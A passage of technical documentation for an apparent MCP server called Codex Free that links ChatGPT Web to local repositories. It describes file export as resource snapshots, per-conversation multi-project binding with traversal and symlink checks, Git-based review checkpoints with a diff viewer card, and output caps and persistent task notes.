After publication, the result is an ordinary project file. Git, glob, tree, review tools and normal deletion provide its catalogue and lifecycle; Codex Free does not maintain a second artifact database or TTL.
Native host-file egress
Machine-local paths are not downloadable by ChatGPT, and returning a large binary file as base64 text would put the encoded payload into the tool result and model context. export_host_file instead uses MCP's resource flow:
the agent creates or selects a project file
↓
the agent calls export_host_file(path)
↓
Codex Free opens the file through the active-project capability and snapshots its exact bytes
↓
the tool returns a standard MCP resource_link with an opaque codex-free://artifact/... URI
↓
the connector host resolves that URI through resources/read and receives a base64 blob resource
The returned resource describes the original filename, MIME type and byte count. The structured receipt includes the project-relative source path, SHA-256 digest and remaining lifetime, but deliberately does not duplicate the bearer-capability URI into ordinary structured data. It never exposes an absolute filesystem path or asks the model to copy the file contents through text.
The resource is an immutable snapshot, not a delayed path read. Replacing, truncating, deleting or retargeting the source after export_host_file returns cannot change the bytes served for that reference. Source access is capability-confined to an existing regular file inside the active project; traversal, absolute paths and symlink escapes fail closed. The read is bounded before allocation and again while streaming so a growing file cannot cross artifactEgress.maxFileBytes unnoticed.
Each URI contains a 256-bit random bearer capability. Issued resources are not added to resources/list, are shared only through the tool result, and remain in a process-wide in-memory cache so ChatGPT can replace the MCP transport between the tool call and resources/read. The cache is bounded by both total bytes and reference count; oldest entries are evicted as needed, every reference expires after artifactEgress.referenceTtlMs, and all references disappear when Codex Free restarts. Calling export_host_file again creates a fresh snapshot and capability.
Multi-project mode
By default the server is pinned to one project: --work-dir is the project root, and every project-scoped tool resolves against it. Multi-project mode turns --work-dir into an access root instead — a directory beneath which each conversation selects its own project — so a single running server can serve many repositories without a process per repo.
Enable it with --multi-project or "multiProject": true (see CLI flags and Config file). One static codex.config.json is still read once at startup; selection changes only the effective work directory the project tools use, never the server configuration itself.
Each conversation binds a project exactly once, through the set_project_root tool. When neither an exact path nor an exact GitHub URL is known, list_projects provides a project-independent enumeration step first:
- The path is relative to the access root or absolute, but its canonical target must be an existing directory inside that root. Traversal (
..) and symlink escapes are rejected after canonicalisation, so a link pointing outside the root cannot smuggle a selection past the check. - A GitHub URL is normalized into case-insensitive owner/repository identity plus an optional branch, PR, or commit target. Codex Free first reuses an unambiguous matching local Git top level. Otherwise it serializes concurrent requests for that repository, runs non-interactive
git cloneinto a private temporary directory belowprojectCloneDir, verifies the resulting remote, and publishes it at<projectCloneDir>/<repository-name>. Name collisions fail rather than overwrite data. - Branch URLs fetch
refs/heads/<branch>; PR URLs fetch GitHub'srefs/pull/<number>/head; commit URLs fetch the exact full object ID. A fresh branch clone checks out the named branch, while fresh PR and commit clones detach at the selected commit. For an existing checkout, target fetching does not switch, reset, or otherwise move itsHEAD. - The binding belongs to the ChatGPT conversation, keyed from
_meta["openai/session"](the raw identifier is hashed, never stored), so simultaneous chats can hold different projects and a later turn recovers its own root after MCP reconnects or a server restart. A client that sends no ChatGPT conversation metadata falls back to a binding that lasts only the current MCP transport session. - With the default worktree mode, the first conversation selecting a Git project uses the source checkout directly. Once that logical project is already assigned, another conversation receives a detached managed worktree under the configured Codex worktree location, preventing concurrent chats from editing the same checkout. A branch, PR, or commit URL also receives a detached worktree when the existing source checkout is on another commit.
alwaysisolates every selection;neveruses the source directly and therefore rejects a targeted URL unless that source is already at the requested commit. - Worktree identity uses the repository's Git common directory plus the selected path relative to its Git root. Linked worktrees are therefore recognised as the same repository, while separate subprojects in a monorepo remain distinct.
- A conversation cannot switch roots once bound — start another chat for a different project. Re-selecting the same canonical path or exact normalized GitHub selection is idempotent. A different repository, branch, PR, or commit URL is rejected before any clone or fetch begins.
- Until a root is selected, project-scoped tools are unavailable and say why.
list_projectsandset_project_rootare the two project-independent tools present for this workflow.
Project catalogue semantics
Native Codex records trust decisions in its user-level configuration:
[projects."/absolute/path/to/project"]
trust_level = "trusted"
Codex Free reads those paths as candidates. It does not treat the table as exhaustive: entries may be stale, may represent separate worktrees, and contain no semantic description beyond the path. Explicit projectCatalog.entries can therefore add aliases/descriptions or supply projects absent from the native table.
Every candidate still passes Codex Free's own checks. Its path must exist, resolve to a directory, and canonicalize to the access root itself or a descendant; missing entries, files, and symlink escapes are skipped, while duplicate canonical targets are merged into one candidate. Native Codex trust is only catalogue metadata plus the default trustedOnly filter. It never grants Codex Free access to a path outside --work-dir, and an explicit catalogue entry does not widen that boundary either.
list_projects returns a selector relative to the access root, which can be passed unchanged as set_project_root.path. Its optional query matches names, aliases, descriptions, and selectors case-insensitively with deterministic exact/prefix/substring ranking. The tool never binds automatically. If several results remain plausible, the agent instructions require asking the user rather than guessing, because a wrong binding cannot be changed in that conversation.
The native table is read live for every list_projects call. The file is read-only, the codex executable is not required, and project-local .codex/config.toml layers are not scanned because they are meaningful only after a project has been selected.
Per-conversation separation extends to saved state: with an explicit memory.dir, each selected project gets its own hashed child directory (see the memory block), and conversation bindings stay enabled even when memory.enabled is false. The end-to-end onboarding flow — select, then request the brief — is in Starting a chat.
To clear a stray binding, delete its file under ~/.codex-free/conversation-projects/; there is no tool to re-point an already-bound conversation. A managed worktree remains referenced while that binding exists. Startup cleanup skips referenced or dirty worktrees and only removes older clean, unreferenced entries beyond keepCount.
Review checkpoints and ChatGPT UI
Review state is initialized immediately before the first project-scoped tool call for a conversation or generic MCP transport. That timing captures the checkout as the agent first sees it, before a write, formatter, generator, or shell command can change it. Mutating tool calls and show_changes are serialized for the same owner and project through tool completion, so a review cannot advance over a partially completed write. A resident exec_command process may continue changing files after its initiating call returns, so every review remains a point-in-time snapshot. Non-Git projects remain usable; inside a Git worktree, a snapshot failure blocks mutating tools rather than silently losing the baseline. Two baselines are maintained:
- project open is immutable and shows the complete task diff;
- last review advances only when
show_changesis called withadvance=true(the default), so the next review is incremental.
show_changes accepts since: "last_review" | "project_open", advance, and include_patch. Use advance=false for a read-only inspection. The ordinary model-visible result is a concise aggregate summary with checkpoint status and warnings; it deliberately has no structuredContent. Compatible MCP Apps receive bounded file records, rename sources, binary markers, warnings, and the complete unified binary patch through namespaced result _meta, which ChatGPT forwards to the component without adding it to model context. Oversized patches are omitted explicitly rather than returned as invalid partial hunks.
Snapshots use Git objects, but they do not touch the real index or working tree. Codex Free builds a private temporary index containing only the logical project root, then carries the same literal pathspec through every comparison. If the selected project is packages/app inside a monorepo, sibling changes under packages/other cannot enter its checkpoint or diff. Paths in the component-only review payload are relative to the selected project, not the repository root.
With ChatGPT's stable _meta["openai/session"], each conversation/project scope stores exactly two namespaced refs under:
refs/codex-free/review/<project-hash>/<conversation-hash>/project-open
refs/codex-free/review/<project-hash>/<conversation-hash>/last-review
The raw conversation identifier is never written. The refs survive MCP reconnects and Codex Free restarts. Generic MCP clients receive transport-local in-memory checkpoints instead. Each conversation/project pair retains only its current two referenced snapshots; superseded synthetic commits are ordinary Git-GC candidates. To inspect or remove old conversation refs manually, use git for-each-ref refs/codex-free/review/ and git update-ref -d <ref>. Removing both refs resets that owner to the current scoped state on its next project call.
Codex Free also advertises the standard MCP Apps extension and serves a self-contained resource at ui://codex-free/review/v3/mcp-app.html. Compatible ChatGPT developer connectors render show_changes as a file, statistic and patch card from component-only result metadata. Textual hunks use GitHub-style old/new line-number gutters, full-width addition/deletion backgrounds, blue hunk headers, bundled language-aware syntax highlighting, and stronger intraline highlights; code wraps inside the card instead of requiring a horizontal scroller. Changed line numbers use the normal code color, context line numbers remain muted, and redundant per-line +/- markers are omitted. The app requests no extra host border, keeps only the review panel opaque while leaving the surrounding iframe canvas transparent, and begins directly with the collapsible file summary rather than repeating checkpoint and scope metadata above it. No separate web service or public app publication is needed; clients that ignore MCP Apps metadata receive only the concise ordinary text result. Checkpoint advancement completes before that result is returned and does not wait for user interaction. The card remains independently interactive while the model continues, and its overall disclosure, expanded file diffs, and larger-file-list state are persisted as private ChatGPT widget state so an iframe remount restores them. The v2 and prior unversioned resource URIs remain readable, and the widget retains a structured-content fallback solely so historical cards created before component-only review metadata can still remount; current show_changes results never populate that model-visible field. The card updates at the show_changes tool-call boundary—it is not a continuous filesystem watcher.
Context and memory
Codex runs against a large context window and keeps its session in a process you control. ChatGPT Web does neither: the window is smaller than most real tasks, and when it fills — or when you open a new chat — the plan and everything learned along the way are gone, with no sign to the model that they ever existed. Codex Free attacks both halves of that.
Spend the window on less. Every non-self-managed tool result passes through a 10,000-token model-output ceiling by default. The policy covers both textual content and model-visible structuredContent; component-only result _meta remains outside model context. File and list tools still stop at their semantic paging boundaries and name the argument that continues from where they stopped:
(showing lines 1-1000 of 4820 — call again with offset=1000 for the rest)
That line matters as much as the cap. Silent truncation reads as "that was the whole file", which is worse than no cap at all. read_file has a byte ceiling as well as a line one, because a minified bundle is a single line several megabytes long that a line cap alone would hand back in full. grep additionally caps context, match count and individual lines while preserving the actual match inside a long minified line. exec_command and write_stdin keep Codex's 10,000-token default but clamp larger requests to server policy. run_command drains stdout and stderr through bounded head/tail buffers before applying the same model-output policy, so a chatty or timed-out child cannot consume unbounded process memory or context. Oversized arbitrary structuredContent becomes a bounded error requesting narrower arguments rather than invalid partial JSON.
Keep what would be expensive to rediscover. remember writes one keyed note; recall hands back the notes and the current plan. update_plan persists too, so the plan survives the conversation that made it. Writing to a key that exists replaces it, and an empty value deletes it — a keyed store stays current where an append log accumulates contradictions until it is worthless.
Task state lives in ~/.codex-free/projects/<name>-<hash>/memory.json, keyed by the absolute active project root. Nothing is written into the repository you pointed the server at, and two checkouts of the same repo do not share notes. Multi-project conversations therefore share task state only when they select the same canonical project root.
ChatGPT project bindings live separately under ~/.codex-free/conversation-projects/<access-root-hash>/<conversation-hash>.json. The raw openai/session value is never written to disk; only its SHA-256-derived key is used as the filename. Each small record contains the canonical access root and selected project root. Delete this directory to forget all conversation bindings. A missing or stale project fails closed rather than silently rebinding the conversation to another directory.
In single-project mode, instructions is rebuilt for every MCP session, so a new conversation opens with the saved plan and notes already in front of it, under a ## Saved state heading between the environment and AGENTS.md. In multi-project mode the initialize-time instructions deliberately remain project-neutral: ChatGPT supplies its stable conversation identifier on tool calls, after the MCP initialize exchange. Calling get_agent_brief restores an existing conversation binding automatically; for a new conversation it reports that set_project_root is required and directs the agent to list_projects when the exact path is unknown. After binding, get_agent_brief returns the environment, saved state, skills, and AGENTS.md for the selected project. If the client ignores instructions, one recall gets the same saved state after selection.
The division of labour is worth keeping straight: AGENTS.md is what is true of the project and belongs in the repo; notes are what is true of the task in flight and belong here.
Acting as a Codex agent
A tool list says what a model can do; it says nothing about how a careful engineer uses it. Codex closes that gap with a system prompt, and so does this bridge — the behavioural half of codex-rs/core/gpt-5.2-codex_prompt.md is ported into the server's instructions.